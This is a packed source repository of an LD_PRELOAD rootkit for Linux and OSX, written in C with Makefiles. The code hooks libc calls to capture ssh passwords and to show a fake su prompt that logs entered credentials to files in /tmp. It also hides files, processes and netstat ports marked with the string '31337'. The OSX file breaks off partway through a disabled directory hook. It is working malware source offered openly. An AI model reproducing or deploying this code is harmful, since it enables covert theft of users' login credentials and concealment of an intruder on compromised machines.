├── Makefile ├── README.md ├── libpreload.c ├── osx-version ├── Makefile ├── libpreload.c ├── run.sh └── test.c ├── run.sh └── test.c /Makefile: -------------------------------------------------------------------------------- 1 | GCC=gcc 2 | CFLAGS=-Wall -fPIC -shared 3 | LDFLAGS=-ldl 4 | SOURCE=libpreload.c 5 | TARGET=libpreload.so 6 | STRIP=/usr/bin/strip 7 | 8 | all: 9 | $(GCC) $(CFLAGS) $(SOURCE) -o $(TARGET) $(LDFLAGS) 10 | $(GCC) $(CFLAGS) test.c -o 31337/31337test 11 | 12 | clean: 13 | -rm $(TARGET) 31337/31337test 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | libpreload 2 | ========== 3 | 4 | simple 'LD_PRELOAD' linux and osx rootkit examples. 5 | should be able to steal su and ssh passwords 6 | -------------------------------------------------------------------------------- /libpreload.c: -------------------------------------------------------------------------------- 1 | /* 2 | * LD_PRELOAD rootkit 3 | * 4 | * steal passwords from local ssh to remote server and su usage. 5 | * the gr34t techniq is in fact very stupid, pretty effective tought. 6 | * 7 | * hide files 8 | * hide processess 9 | * hide sockets 10 | * 11 | * 04/08/2010 - snp 12 | * 13 | * 0.1 14 | */ 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #ifdef LINUX 24 | #include 25 | #include 26 | #else 27 | #include 28 | #endif 29 | 30 | #include 31 | 32 | #define MAGIC "31337" 33 | 34 | #ifndef RTLD_NEXT 35 | #define RTLD_NEXT ((void *) -1l) 36 | #endif 37 | 38 | #ifndef R_OK 39 | #define R_OK 4 40 | #endif 41 | 42 | #define SU_PATH "/bin/su" 43 | #define SU_LOG_PATH "/tmp/english-uk" 44 | 45 | #define SSH_PATH "/usr/local/bin/ssh" 46 | #define SSH_LOG_PATH "/tmp/english-us" 47 | 48 | #define LS_PATH "/bin/ls" 49 | 50 | static char *proc_name_list[] = { 51 | "ps", 52 | NULL 53 | }; 54 | 55 | /* avoid compatibility problems with local defined structures */ 56 | struct stat { 57 | unsigned long st_dev; 58 | unsigned long st_ino; 59 | unsigned short st_mode; 60 | unsigned short st_nlink; 61 | unsigned short st_uid; 62 | unsigned short st_gid; 63 | unsigned long st_rdev; 64 | unsigned long st_size; 65 | unsigned long st_blksize; 66 | unsigned long st_blocks; 67 | unsigned long st_atime; 68 | unsigned long st_atime_nsec; 69 | unsigned long st_mtime; 70 | unsigned long st_mtime_nsec; 71 | unsigned long st_ctime; 72 | unsigned long st_ctime_nsec; 73 | unsigned long __unused4; 74 | unsigned long __unused5; 75 | }; 76 | 77 | struct stat64 { 78 | unsigned long long st_dev; 79 | unsigned char __pad0[4]; 80 | 81 | unsigned long __st_ino; 82 | 83 | unsigned int st_mode; 84 | unsigned int st_nlink; 85 | 86 | unsigned long st_uid; 87 | unsigned long st_gid; 88 | 89 | unsigned long long st_rdev; 90 | unsigned char __pad3[4]; 91 | 92 | long long st_size; 93 | unsigned long st_blksize; 94 | 95 | /* Number 512-byte blocks allocated. */ 96 | unsigned long long st_blocks; 97 | 98 | unsigned long st_atime; 99 | unsigned long st_atime_nsec; 100 | 101 | unsigned long st_mtime; 102 | unsigned int st_mtime_nsec; 103 | 104 | unsigned long st_ctime; 105 | unsigned long st_ctime_nsec; 106 | 107 | unsigned long long st_ino; 108 | }; 109 | 110 | struct dirent 111 | { 112 | long d_ino; 113 | unsigned long d_off; 114 | unsigned short d_reclen; 115 | char d_name[256]; 116 | }; 117 | 118 | struct dirent64 119 | { 120 | unsigned long d_ino; 121 | unsigned long d_off; 122 | unsigned short d_reclen; 123 | unsigned char d_type; 124 | char d_name[256]; 125 | }; 126 | typedef struct __dirstream DIR; 127 | /* end of local defined structures */ 128 | 129 | extern void close(int); 130 | extern int getpid(); 131 | extern void free(void *); 132 | extern int getuid(); 133 | extern void sleep(int); 134 | extern void _exit(int); 135 | extern char *getenv(const char *); 136 | 137 | char ssh_args[1024]; 138 | char ssh_password[1024]; 139 | int ssh_pass_size = 0; 140 | int ssh_start = 0; 141 | int ls_mode = 0; 142 | int UID = 0; 143 | 144 | static int rkstatus = 0; /* 0: off, 1: on */ 145 | 146 | /* setup the UID that will be blocked */ 147 | int uid_list[] = 148 | { 149 | 1000, 150 | 1001, 151 | 0, 152 | -1 153 | }; 154 | 155 | /* ports that will be hidden */ 156 | int ports_list[] = 157 | { 158 | 447,448,449,450,-1 159 | }; 160 | 161 | /* function pointers to original functions */ 162 | char *(*fgets_orig)(char *buf, int buf_size, FILE *fp); 163 | int (*fchmodat_orig)(int fd, const char *path, int mode); 164 | int (*lchmod_orig)(const char *path, int mode); 165 | int (*chmod_orig)(const char *path, int mode); 166 | int (*unlinkat_orig)(int fd, const char *path, int flag); 167 | int (*unlink_orig)(const char *path); 168 | int (*chdir_orig)(const char *dir); 169 | int (*open_orig)(const char *, int mode, int flag); 170 | int (*open64_orig)(const char *, int, int mode); 171 | int (*read_orig)(int fildes, void *buf, size_t nbyte); 172 | int (*write_orig)(int fildes, const void *buf, size_t nbyte); 173 | int (*execve_orig)(const char *path, const char *argv[], const char *envp[]); 174 | struct dirent *(*readdir_orig)(DIR *dir); 175 | struct dirent64 *(*readdir64_orig)(DIR *dir); 176 | int (*stat_orig)(const char *path, struct stat *stat); 177 | int (*stat64_orig)(const char *path, struct stat64 *stat); 178 | int (*__lxstat_orig)(int ver, const char *path, struct stat *stat); 179 | int (*__lxstat64_orig)(int ver, const char *path, struct stat64 *stat); 180 | int (*__libc_start_main_orig)(int *(main)(int,char **, char **),int,char**,void (*init)(void),void (*fini)(void), void (*rtld_fini)(void),void (*stack_end)); 181 | 182 | char proc_name[255]; 183 | 184 | int is_proc_name(char *name) 185 | { 186 | return(!strcmp(name, proc_name)); 187 | } 188 | 189 | /* 190 | * XXX: returns a static variable 191 | */ 192 | char *get_cmdline(char *pid) 193 | { 194 | static char cmdline[2048]; 195 | char path[255]; 196 | int i,c,fd; 197 | 198 | if(pid == NULL) 199 | sprintf(path,"/proc/%d/cmdline", getpid()); 200 | else 201 | sprintf(path,"/proc/%s/cmdline",pid); 202 | 203 | if((fd = open_orig(path,0,0)) <= 0) 204 | return (NULL); 205 | c = read_orig(fd, cmdline, sizeof(cmdline)); 206 | for(i=0;i=0x61&&buf[i]<=0x7a) 236 | p[i] = (buf[i] - 0x20); 237 | memcpy(buf, p, strlen(p)); 238 | free(p); 239 | } 240 | 241 | #define HOOK(func) func##_##orig = dlsym(RTLD_NEXT,#func) 242 | 243 | /* 244 | * this function changes between different libc versions, you should replace as needed 245 | */ 246 | int __libc_start_main(int *(main)(int,char **, char **),int argc,char **ubp_av,void (*init)(void),void (*fini)(void), void (*rtld_fini)(void),void (*stack_end)) 247 | { 248 | char *p; 249 | HOOK(__libc_start_main); 250 | UID = getuid(); 251 | memset(proc_name, 0x00, sizeof(proc_name)); 252 | if(strstr("/", ubp_av[0])) 253 | { 254 | if((p = strrchr(ubp_av[0], '/')) != NULL) 255 | memcpy(proc_name, p, strlen(p)); 256 | } else memcpy(proc_name, ubp_av[0], strlen(ubp_av[0])); 257 | if(getenv("rk") != NULL) rkstatus = 1; 258 | return (__libc_start_main_orig(main, argc, ubp_av, init, fini, rtld_fini, stack_end)); 259 | } 260 | 261 | int open(const char *path, int mode, int flags) 262 | { 263 | int fd,flag; 264 | char buf[255]; 265 | 266 | /* create hook to original function */ 267 | HOOK(open); 268 | 269 | /* check if rootkit is running, otherwise do nothing */ 270 | if(!rkstatus) return (open_orig(path, mode, flags)); 271 | 272 | HOOK(read); 273 | for(flag=fd=0;proc_name_list[fd]!=NULL;fd++) 274 | if(is_proc_name(proc_name_list[fd])) 275 | flag++; 276 | //if(is_proc_name("top") && strstr(path, "proc") && strstr(path, "stat")) 277 | //{ 278 | if(flag) { 279 | if((fd = open_orig(path, mode, flags)) > 0) { 280 | if((flag = read_orig(fd, buf, 255)) > 0) { 281 | if(strstr(buf, MAGIC) != NULL) { 282 | errno = ENOENT; 283 | close(fd); 284 | return -(errno); 285 | } 286 | } 287 | close(fd); 288 | } 289 | } 290 | if(strstr(path, MAGIC)) 291 | { 292 | errno = ENOENT; 293 | return (-ENOENT); 294 | } 295 | return (open_orig(path, mode, flags)); 296 | } 297 | 298 | int open64(const char *path, int s, int mode) 299 | { 300 | HOOK(open64); 301 | if(!rkstatus) return (open64_orig(path, s, mode)); 302 | 303 | if(strstr(path, MAGIC)) 304 | { 305 | errno = ENOENT; 306 | return (-ENOENT); 307 | } 308 | return (open64_orig(path, s, mode)); 309 | } 310 | 311 | int read(int fildes, void *buf, size_t nbyte) 312 | { 313 | int ret; 314 | char *p; 315 | FILE *fp; 316 | 317 | HOOK(read); 318 | 319 | ret = read_orig(fildes, buf, nbyte); 320 | 321 | if(!rkstatus) 322 | return (ret); 323 | 324 | if(is_proc_name("ssh") && fildes == 4 && ssh_start) 325 | { 326 | p = buf; 327 | if(*p == '\n') 328 | { 329 | ssh_start = 0; 330 | fp=fopen(SSH_LOG_PATH,"a+"); 331 | fprintf(fp,"%s (%s)\n", get_cmdline(NULL), ssh_password); 332 | fflush(fp); 333 | fclose(fp); 334 | return (ret); 335 | } 336 | ssh_password[ssh_pass_size++] = *p; 337 | } 338 | return (ret); 339 | } 340 | 341 | int write(int fildes, void *buf, size_t nbyte) 342 | { 343 | int ret=0; 344 | 345 | HOOK(write); 346 | 347 | if(!rkstatus) return (write_orig(fildes, buf, nbyte)); 348 | 349 | if(is_proc_name("ssh") && strstr(buf, "assword")) 350 | { 351 | ssh_pass_size = 0; 352 | memset(ssh_password, 0x00, sizeof(ssh_password)); 353 | ssh_start = 1; 354 | } 355 | ret = write_orig(fildes, buf, nbyte); 356 | return (ret); 357 | } 358 | 359 | int execve(const char *path, const char *argv[], const char *envp[]) 360 | { 361 | FILE *fp; 362 | char pass[1024], args[1024]; 363 | struct termios tty,old; 364 | int c; 365 | 366 | if(getenv("rk") != NULL) { 367 | rkstatus = 1; 368 | } 369 | 370 | HOOK(execve); 371 | 372 | if(!rkstatus) 373 | return(execve_orig(path, argv, envp)); 374 | 375 | if(!strcmp(path, LS_PATH)) { 376 | memset(args, 0, sizeof(args)); 377 | for(c = 0; argv[c]; c++) { 378 | strcat(args, argv[c]); 379 | if(argv[c+1]) 380 | strcat(args, " "); 381 | } 382 | } 383 | if(!strcmp(path, SU_PATH)) 384 | { 385 | if(!strcmp(proc_name, "sudo")) 386 | return (execve_orig(path, argv, envp)); 387 | memset(args, 0, sizeof(args)); 388 | for(c = 0; argv[c]; c++) 389 | { 390 | strcat(args, argv[c]); 391 | if(argv[c+1]) 392 | strcat(args, " "); 393 | } 394 | if(is_logged(args) == 0) 395 | { 396 | printf("Password: "); 397 | fflush(stdout); 398 | tcgetattr(0, &old); 399 | tty = old; 400 | tty.c_lflag &= (~ECHO); 401 | tcsetattr(0, TCSANOW, &tty); 402 | c=read_orig(0, pass, 1024); 403 | pass[c-1]=0; 404 | putchar('\n'); 405 | sleep(2); 406 | printf("su: Authentication failure\n"); 407 | if((fp=fopen(SU_LOG_PATH, "a+")) == NULL) 408 | goto out; 409 | fprintf(fp, "%s:%s\n", args, pass); 410 | fclose(fp); 411 | out: 412 | tcsetattr(0, TCSANOW, &old); 413 | _exit(0); 414 | } 415 | } 416 | return (execve_orig(path, argv, envp)); 417 | } 418 | 419 | struct dirent *readdir(DIR *dir) 420 | { 421 | struct dirent *p; 422 | char *cmd; 423 | 424 | HOOK(readdir); 425 | 426 | if(!rkstatus) return(readdir_orig(dir)); 427 | 428 | p = readdir_orig(dir); 429 | if(p && (is_proc_name("ps") || is_proc_name("pstree"))) 430 | { 431 | cmd = get_cmdline(*p->d_name==0x04?p->d_name+1:p->d_name); 432 | if(strstr(cmd, MAGIC)) 433 | p = readdir(dir); 434 | return (p); 435 | } 436 | if(p && strstr(p->d_name, MAGIC)) 437 | p = readdir(dir); 438 | return (p); 439 | 440 | } 441 | 442 | struct dirent64 *readdir64(DIR *dir) 443 | { 444 | struct dirent64 *p; 445 | char *cmd; 446 | 447 | HOOK(readdir64); 448 | 449 | if(!rkstatus) 450 | return(readdir64_orig(dir)); 451 | 452 | p = readdir64_orig(dir); 453 | if(p && (is_proc_name("ps") || is_proc_name("pstree"))) 454 | { 455 | cmd = get_cmdline(*p->d_name==0x04?p->d_name+1:p->d_name); 456 | if(strstr(cmd, MAGIC)) 457 | p = readdir64(dir); 458 | return (p); 459 | } 460 | if(p && strstr(p->d_name, MAGIC)) 461 | p = readdir64(dir); 462 | return (p); 463 | } 464 | 465 | int stat(const char *path, struct stat *stat) 466 | { 467 | HOOK(stat); 468 | 469 | if(!rkstatus) 470 | return (stat_orig(path, stat)); 471 | 472 | if(strstr(path, MAGIC)) 473 | { 474 | errno = ENOENT; 475 | return (-ENOENT); 476 | } 477 | 478 | return (stat_orig(path, stat)); 479 | } 480 | 481 | int stat64(const char *path, struct stat64 *stat) 482 | { 483 | HOOK(stat64); 484 | if(!rkstatus) 485 | return (stat64_orig(path, stat)); 486 | 487 | if(strstr(path, MAGIC)) 488 | { 489 | errno = ENOENT; 490 | return (-ENOENT); 491 | } 492 | return (stat64_orig(path, stat)); 493 | } 494 | 495 | int __lxstat(int ver, const char *path, struct stat *stat) 496 | { 497 | HOOK(__lxstat); 498 | if(!rkstatus) 499 | return (__lxstat_orig(ver, path, stat)); 500 | 501 | if(strstr(path, MAGIC)) 502 | { 503 | errno = ENOENT; 504 | return (-ENOENT); 505 | } 506 | return(__lxstat_orig(ver, path, stat)); 507 | } 508 | 509 | int __lxstat64(int ver, const char *path, struct stat64 *stat) 510 | { 511 | HOOK(__lxstat64); 512 | if(!rkstatus) 513 | return(__lxstat64_orig(ver, path, stat)); 514 | 515 | if(strstr(path, MAGIC)) 516 | { 517 | errno = ENOENT; 518 | return (-ENOENT); 519 | } 520 | return(__lxstat64_orig(ver, path, stat)); 521 | } 522 | 523 | int chdir(const char *path) 524 | { 525 | HOOK(chdir); 526 | if(!rkstatus) 527 | return (chdir_orig(path)); 528 | 529 | if(strstr(path, MAGIC)) 530 | { 531 | errno = ENOENT; 532 | return (-ENOENT); 533 | } 534 | return (chdir_orig(path)); 535 | } 536 | 537 | int unlinkat(int fd, const char *path, int flag) 538 | { 539 | HOOK(unlinkat); 540 | if(!rkstatus) 541 | return (unlinkat_orig(fd, path, flag)); 542 | 543 | if(strstr(path, MAGIC)) 544 | { 545 | errno = ENOENT; 546 | return (-ENOENT); 547 | } 548 | return(unlinkat_orig(fd, path, flag)); 549 | } 550 | 551 | int unlink(const char *path) 552 | { 553 | HOOK(unlink); 554 | if(!rkstatus) 555 | return (unlink_orig(path)); 556 | 557 | if(strstr(path, MAGIC)) 558 | { 559 | errno = ENOENT; 560 | return (-ENOENT); 561 | } 562 | return (unlink_orig(path)); 563 | } 564 | 565 | int chmod(const char *path, int mode) 566 | { 567 | HOOK(chmod); 568 | 569 | if(!rkstatus) 570 | return (chmod_orig(path, mode)); 571 | 572 | if(strstr(path, MAGIC)) 573 | { 574 | errno = ENOENT; 575 | return (-ENOENT); 576 | } 577 | return (chmod_orig(path, mode)); 578 | } 579 | 580 | int fchmodat(int fd, const char *path, int mode) 581 | { 582 | HOOK(fchmodat); 583 | if(!rkstatus) 584 | return (fchmodat_orig(fd, path ,mode)); 585 | 586 | if(strstr(path, MAGIC)) 587 | { 588 | errno = ENOENT; 589 | return (-ENOENT); 590 | } 591 | return (fchmodat_orig(fd, path, mode)); 592 | } 593 | 594 | int lchmod(const char *path, int mode) 595 | { 596 | HOOK(lchmod); 597 | 598 | if(!rkstatus) 599 | return (lchmod_orig(path, mode)); 600 | 601 | if(strstr(path, MAGIC)) 602 | { 603 | errno = ENOENT; 604 | return (-ENOENT); 605 | } 606 | return (lchmod_orig(path, mode)); 607 | } 608 | 609 | char *fgets(char *buf, int buf_size, FILE *fp) 610 | { 611 | int i; 612 | char str[8]; 613 | char *p; 614 | 615 | HOOK(fgets); 616 | p = fgets_orig(buf, buf_size, fp); 617 | if(!rkstatus) 618 | return (p); 619 | 620 | if(p == NULL) return (p); 621 | 622 | if(is_proc_name("netstat")) 623 | { 624 | for(i=0;ports_list[i] != -1;i++) 625 | { 626 | sprintf(str, "%04x", ports_list[i]); 627 | toUp(str); 628 | if(!strncmp(p+15,str,4) || !strncmp(p+29,str,4)) 629 | { 630 | p = fgets(buf, buf_size, fp); 631 | if(p == NULL) return (p); 632 | } 633 | } 634 | } 635 | return(p); 636 | } 637 | 638 | 639 | 640 | -------------------------------------------------------------------------------- /osx-version/Makefile: -------------------------------------------------------------------------------- 1 | GCC=cc 2 | CFLAGS=-Wall -fPIC -shared -nostdlib -Wl,-undefined,dynamic_lookup -m64 3 | LDFLAGS=-ldl -lc 4 | SOURCE=libpreload.c 5 | OBJ=libpreload.so 6 | STRIP=/usr/bin/strip 7 | 8 | all: 9 | $(GCC) $(CFLAGS) $(SOURCE) -o $(OBJ) $(LDFLAGS) 10 | #$(STRIP) -s $(OBJ) 11 | $(GCC) -Wall -g3 test.c -o 31337test 12 | clean: 13 | -rm -rf $(OBJ) 31337test 14 | -------------------------------------------------------------------------------- /osx-version/libpreload.c: -------------------------------------------------------------------------------- 1 | /* 2 | * example of LD_PRELOAD rootkit for OSX 3 | * based on my linux version 4 | * 5 | * ssh doesnt use write() on my version at osx, so i didnt tested with xprintf() functions 6 | * 7 | * -rafael villordo 8 | */ 9 | 10 | #define DYLD_INTERPOSE(_replacment,_replacee) \ 11 | __attribute__((used)) static struct{ const void* replacment; const void* replacee; } _interpose_##_replacee \ 12 | __attribute__ ((section ("__DATA,__interpose"))) = { (const void*)(unsigned long)&_replacment, (const void*)(unsigned long)&_replacee }; 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | /* for proc_name */ 24 | #include 25 | #include 26 | 27 | #define MAGIC "31337" 28 | 29 | #ifndef R_OK 30 | #define R_OK 4 31 | #endif 32 | 33 | #define SU_PATH "/bin/su" 34 | #define SU_LOG_PATH "/tmp/english-uk" 35 | 36 | #define SSH_PATH "/usr/bin/ssh" 37 | #define SSH_LOG_PATH "/tmp/english-us" 38 | 39 | #define LS_PATH "/bin/ls" 40 | 41 | static char *proc_name_list[] = { 42 | "ps", 43 | NULL 44 | }; 45 | 46 | #ifdef LINUX 47 | 48 | /* avoid compatibility problems with local defined structures */ 49 | struct stat { 50 | unsigned long st_dev; 51 | unsigned long st_ino; 52 | unsigned short st_mode; 53 | unsigned short st_nlink; 54 | unsigned short st_uid; 55 | unsigned short st_gid; 56 | unsigned long st_rdev; 57 | unsigned long st_size; 58 | unsigned long st_blksize; 59 | unsigned long st_blocks; 60 | unsigned long st_atime; 61 | unsigned long st_atime_nsec; 62 | unsigned long st_mtime; 63 | unsigned long st_mtime_nsec; 64 | unsigned long st_ctime; 65 | unsigned long st_ctime_nsec; 66 | unsigned long __unused4; 67 | unsigned long __unused5; 68 | }; 69 | 70 | struct stat64 { 71 | unsigned long long st_dev; 72 | unsigned char __pad0[4]; 73 | 74 | unsigned long __st_ino; 75 | 76 | unsigned int st_mode; 77 | unsigned int st_nlink; 78 | 79 | unsigned long st_uid; 80 | unsigned long st_gid; 81 | 82 | unsigned long long st_rdev; 83 | unsigned char __pad3[4]; 84 | 85 | long long st_size; 86 | unsigned long st_blksize; 87 | 88 | /* Number 512-byte blocks allocated. */ 89 | unsigned long long st_blocks; 90 | 91 | unsigned long st_atime; 92 | unsigned long st_atime_nsec; 93 | 94 | unsigned long st_mtime; 95 | unsigned int st_mtime_nsec; 96 | 97 | unsigned long st_ctime; 98 | unsigned long st_ctime_nsec; 99 | 100 | unsigned long long st_ino; 101 | }; 102 | #endif 103 | /* 104 | struct dirent 105 | { 106 | long d_ino; 107 | unsigned short d_reclen; 108 | unsigned char d_type; 109 | unsigned short d_namelen; 110 | char d_name[1024]; 111 | }; 112 | 113 | struct dirent 114 | { 115 | unsigned long d_ino; 116 | unsigned long d_off; 117 | unsigned short d_reclen; 118 | unsigned short d_namelen; 119 | unsigned char d_type; 120 | char d_name[1024]; 121 | };*/ 122 | 123 | typedef struct __dirstream DIR; 124 | /* end of local defined structures */ 125 | 126 | extern void close(int); 127 | extern int getpid(); 128 | extern void free(void *); 129 | extern int getuid(); 130 | extern void sleep(int); 131 | extern void _exit(int); 132 | extern char *getenv(const char *); 133 | 134 | char ssh_args[1024] = { 0 }; 135 | char ssh_password[1024]; 136 | int ssh_pass_size = 0; 137 | static int ssh_start = 0; 138 | int ls_mode = 0; 139 | int UID = 0; 140 | 141 | static int rkstatus = 0; /* 0: off, 1: on */ 142 | 143 | static long int *rkaddr; 144 | /* setup the UID that will be blocked */ 145 | int uid_list[] = 146 | { 147 | 1000, 148 | 1001, 149 | 0, 150 | -1 151 | }; 152 | 153 | /* ports that will be hidden */ 154 | int ports_list[] = 155 | { 156 | 447,448,449,450,-1 157 | }; 158 | 159 | extern char *fgets(char *buf, int buf_size, FILE *fp); 160 | extern int fchmodat(int fd, const char *path, int mode); 161 | extern int lchmod(const char *path, mode_t mode); 162 | extern int chmod(const char *path, mode_t mode); 163 | extern int unlinkat(int fd, const char *path, int flag); 164 | extern int unlink(const char *path); 165 | extern int chdir(const char *dir); 166 | extern int open(const char *, int mode, int flag); 167 | extern int open_nocancel(const char *, int mode, int flag); 168 | extern int open64(const char *, int, int mode); 169 | extern int read(int fildes, void *buf, size_t nbyte); 170 | extern int write(int fildes, const void *buf, size_t nbyte); 171 | extern int execve(const char *path, const char *argv[], const char *envp[]); 172 | //extern int getdirentries(int fd, char *buf, int nbytes, long *basep); 173 | //extern int __getdirentries64(int fd, char *buf, int nbytes, long *basep); 174 | extern struct dirent *readdir(DIR *dir); 175 | extern struct dirent *readdir64(DIR *dir); 176 | extern int stat(const char *path, struct stat *stat); 177 | extern int stat64(const char *path, struct stat64 *stat); 178 | extern int __lxstat(int ver, const char *path, struct stat *stat); 179 | extern int __lxstat64(int ver, const char *path, struct stat64 *stat); 180 | extern int __libc_start_main(int *(main)(int,char **, char **),int,char**,void (*init)(void),void (*fini)(void), void (*rtld_fini)(void),void (*stack_end)); 181 | 182 | /* function pointers to original functions */ 183 | static char *fgets_hook(char *buf, int buf_size, FILE *fp); 184 | static int fchmodat_hook(int fd, const char *path, int mode); 185 | static int lchmod_hook(const char *path, int mode); 186 | static int chmod_hook(const char *path, int mode); 187 | static int unlinkat_hook(int fd, const char *path, int flag); 188 | static int unlink_hook(const char *path); 189 | static int chdir_hook(const char *dir); 190 | static int open_hook(const char *, int mode, int flag); 191 | static int open64_hook(const char *, int, int mode); 192 | static int read_hook(int fildes, void *buf, size_t nbyte); 193 | static int write_hook(int fildes, const void *buf, size_t nbyte); 194 | static int execve_hook(const char *path, const char *argv[], const char *envp[]); 195 | static int getdirentries64_hook(int fd, char *buf, int nbytes, long *basep); 196 | struct dirent *readdir_hook(DIR *dir); 197 | struct dirent *readdir64_hook(DIR *dir); 198 | static int stat_hook(const char *path, struct stat *stat); 199 | static int stat64_hook(const char *path, struct stat64 *stat); 200 | static int __lxstat_hook(int ver, const char *path, struct stat *stat); 201 | static int __lxstat64_hook(int ver, const char *path, struct stat64 *stat); 202 | static int __libc_start_main_hook(int *(main)(int,char **, char **),int,char**,void (*init)(void),void (*fini)(void), void (*rtld_fini)(void),void (*stack_end)); 203 | 204 | static char _proc_name[255]; 205 | int is_proc_name(char *name) 206 | { 207 | memset(_proc_name, 0x00, sizeof(_proc_name)); 208 | if(proc_name(getpid(), _proc_name, sizeof(_proc_name))) { 209 | return(!strcmp(name, _proc_name)); 210 | } 211 | return 0; 212 | } 213 | 214 | /* 215 | * XXX: returns a static variable 216 | */ 217 | char *get_cmdline(char *pid) 218 | { 219 | static char cmdline[2048]; 220 | char path[255]; 221 | int i,c,fd; 222 | 223 | if(pid == NULL) 224 | sprintf(path,"/proc/%d/cmdline", getpid()); 225 | else 226 | sprintf(path,"/proc/%s/cmdline",pid); 227 | 228 | if((fd = open(path,0,0)) <= 0) 229 | return (NULL); 230 | c = read(fd, cmdline, sizeof(cmdline)); 231 | for(i=0;i=0x61&&buf[i]<=0x7a) 261 | p[i] = (buf[i] - 0x20); 262 | memcpy(buf, p, strlen(p)); 263 | free(p); 264 | } 265 | 266 | static int open_hook(const char *path, int mode, int flags) 267 | { 268 | int fd, flag=0; 269 | char buf[255]; 270 | rkaddr = &ssh_args; 271 | if(getenv("rk") != NULL) rkstatus =1; 272 | if(!rkstatus) return (open(path, mode, flags)); 273 | if(flag) { 274 | if((fd = open(path, mode, flags)) > 0) { 275 | if((flag = read(fd, buf, 255)) > 0) { 276 | if(strstr(buf, MAGIC) != NULL) { 277 | errno = ENOENT; 278 | close(fd); 279 | return -(errno); 280 | } 281 | } 282 | close(fd); 283 | } 284 | } 285 | if(strstr(path, MAGIC)) 286 | { 287 | errno = ENOENT; 288 | return (-ENOENT); 289 | } 290 | return (open(path, mode, flags)); 291 | } 292 | 293 | static int open64_hook(const char *path, int s, int mode) 294 | { 295 | printf("open64 %s\n", path); 296 | if(!rkstatus) return (open64(path, s, mode)); 297 | if(strstr(path, MAGIC)) 298 | { 299 | errno = ENOENT; 300 | return (-ENOENT); 301 | } 302 | return (open64(path, s, mode)); 303 | } 304 | 305 | static int read_hook(int fildes, void *buf, size_t nbyte) 306 | { 307 | int ret; 308 | char *p; 309 | FILE *fp; 310 | 311 | if(getenv("rk")!=NULL) rkstatus=1; 312 | ret = read(fildes, buf, nbyte); 313 | if(!rkstatus) 314 | return (ret); 315 | if(is_proc_name("ssh")) { 316 | printf("SSH %d %d\n", fildes, ssh_start); 317 | if( fildes > 3 && ssh_start == 1) 318 | { 319 | p = buf; 320 | if(*p == '\n') 321 | { 322 | ssh_start = 0; 323 | fp=fopen(SSH_LOG_PATH,"a+"); 324 | fprintf(fp,"%s (%s)\n", get_cmdline(NULL), ssh_password); 325 | fflush(fp); 326 | fclose(fp); 327 | return (ret); 328 | } 329 | ssh_password[ssh_pass_size++] = *p; 330 | } 331 | } 332 | return (ret); 333 | } 334 | 335 | static int write_hook(int fildes, const void *buf, size_t nbyte) 336 | { 337 | int ret=0; 338 | if(getenv("rk")!=NULL) rkstatus=1; 339 | if(!rkstatus) return (ret); 340 | ret = write(fildes, buf, nbyte); 341 | if(is_proc_name("ssh")) { 342 | if(strstr(buf, "assword")) { 343 | ssh_pass_size = 0; 344 | memset(ssh_password, 0x00, sizeof(ssh_password)); 345 | putenv("SSHSTART", 1); 346 | ssh_start=1; 347 | } 348 | } 349 | return (ret); 350 | } 351 | 352 | static int execve_hook(const char *path, const char *argv[], const char *envp[]) 353 | { 354 | FILE *fp; 355 | char pass[1024], args[1024]; 356 | struct termios tty,old; 357 | int c; 358 | 359 | if(getenv("rk") != NULL) { 360 | rkstatus = 1; 361 | } 362 | 363 | if(!rkstatus) 364 | return(execve(path, argv, envp)); 365 | 366 | if(!strcmp(path, LS_PATH)) { 367 | memset(args, 0, sizeof(args)); 368 | for(c = 0; argv[c]; c++) { 369 | strcat(args, argv[c]); 370 | if(argv[c+1]) 371 | strcat(args, " "); 372 | } 373 | } 374 | if(!strcmp(path, SU_PATH)) 375 | { 376 | if(!strcmp(proc_name, "sudo")) 377 | return (execve(path, argv, envp)); 378 | memset(args, 0, sizeof(args)); 379 | for(c = 0; argv[c]; c++) 380 | { 381 | strcat(args, argv[c]); 382 | if(argv[c+1]) 383 | strcat(args, " "); 384 | } 385 | 386 | if(is_logged(args) == 0) 387 | { 388 | printf("Password: "); 389 | fflush(stdout); 390 | tcgetattr(0, &old); 391 | tty = old; 392 | tty.c_lflag &= (~ECHO); 393 | tcsetattr(0, TCSANOW, &tty); 394 | c=read(0, pass, 1024); 395 | pass[c-1]=0; 396 | putchar('\n'); 397 | sleep(2); 398 | printf("su: Authentication failure\n"); 399 | if((fp=fopen(SU_LOG_PATH, "a+")) == NULL) 400 | goto out; 401 | fprintf(fp, "%s:%s\n", args, pass); 402 | fclose(fp); 403 | out: 404 | tcsetattr(0, TCSANOW, &old); 405 | _exit(0); 406 | } 407 | } 408 | return (execve(path, argv, envp)); 409 | } 410 | 411 | /* 412 | * disabled 413 | * if you fix this, please send me the patch 414 | * */ 415 | static int getdirentries64_hook(int fd, char *buf, int nbytes, long *basep) 416 | { 417 | int r, off=0,coff=0; 418 | struct dirent *dir, *last = NULL; 419 | char *dbuf; 420 | int i; 421 | if(getenv("rk")!=NULL) rkstatus=1; 422 | 423 | if(!rkstatus) 424 | return (__getdirentries64(fd, buf, nbytes, basep)); 425 | 426 | if((r = getdirentries(fd, buf, nbytes, basep)) > 0) { 427 | printf("basep: %x/%p, buf: %x/%p, nbytes: %d, r: %d\n", basep,basep,buf,buf,nbytes,r); 428 | getc(stdin); 429 | for(dbuf = buf, dir = (struct dirent *)dbuf; dir->d_fileno; dbuf += dir->d_reclen, dir = (struct dirent *)(buf + off)) { 430 | 431 | for(i = 0; i < strlen(dir->d_name); i++) { 432 | printf("%02x ", dir->d_name[i]); 433 | } 434 | printf("\nDIR: %d %s, %d, %d, %d\n", r, dir->d_name, dir->d_reclen, off, sizeof(struct dirent)); 435 | if(strstr(dir->d_name, MAGIC)) { 436 | printf("MAGIC: %d %s, %d, %d\n", r, dir->d_name, dir->d_reclen, off); 437 | off=(dir + dir->d_reclen); 438 | last->d_reclen += (dir->d_reclen); 439 | printf("LAST: %d\n", last->d_reclen); 440 | coff++; 441 | continue; 442 | } else { 443 | if(coff) { 444 | //last->d_reclen -= 1; 445 | coff=0; 446 | } 447 | } 448 | off += dir->d_reclen; 449 | last=dir; 450 | } 451 | off=0; 452 | /*for(dir = (struct dirent *)buf; dir->d_reclen; dir = (struct dirent *)(buf + off)) { 453 | //printf("NEW: %d %s, 